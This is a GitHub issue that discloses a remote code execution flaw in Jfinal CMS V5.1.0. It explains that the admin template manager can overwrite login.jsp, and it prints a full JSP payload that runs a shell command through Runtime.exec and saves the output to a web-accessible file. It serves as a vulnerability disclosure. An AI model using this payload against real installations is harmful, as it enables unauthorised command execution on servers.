Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jfinal_ CMS V5.1.0 has login.jsp written to RCE #58

Open
ZccAcc opened this issue Aug 18, 2023 · 0 comments
Open

Jfinal_ CMS V5.1.0 has login.jsp written to RCE #58

ZccAcc opened this issue Aug 18, 2023 · 0 comments

Comments

@ZccAcc
Copy link

ZccAcc commented Aug 18, 2023

There is a filter that by default denies direct access to JSP files.
image
The login.jsp in web.xml's means that accessing the homepage module can directly invoke login.jsp.
image
The backend template management module can manage files under the web directory. It can modify the content of login.jsp through an interface call, inserting malicious code into the content of login.jsp.
image
Inject malicious code into login.jsp to execute commands and write the command execution result into mkodp_1.txt.
image
image
Accessing http://ip:port/jfinal_cms/admin/ will trigger the code inside login.jsp, leading to command execution and writing to mkodp_1.txt.
image
Repeat the above process to execute the "ip a" command.
image

The modified content of login.jsp is as follows:
`<%@ page language="java" pageEncoding="UTF-8"%>
<%
// 生成一个随机的文件名
String randomFileName = "mkodp_1.txt";

// 获取当前 JSP 文件所在的真实路径
String currentPath = application.getRealPath("/");

// 构建文件的绝对路径
String filePath = currentPath + randomFileName;

try {
    String command = "whoami"; // 修改为你想要执行的命令
    java.util.Scanner scanner = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    String result = scanner.hasNext() ? scanner.next() : "";
    scanner.close();
    
    // 将命令回显存储在变量中
    String commandOutput = result;
    // 创建文件并写入内容
    java.io.FileWriter fileWriter = new java.io.FileWriter(filePath);
    fileWriter.write(commandOutput);
    fileWriter.close();
    
    out.println("文件已生成:" + filePath);
} catch (Exception e) {
    out.println("出现错误:" + e.getMessage());
}

%>
<%
response.sendRedirect("login");
%>
`

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant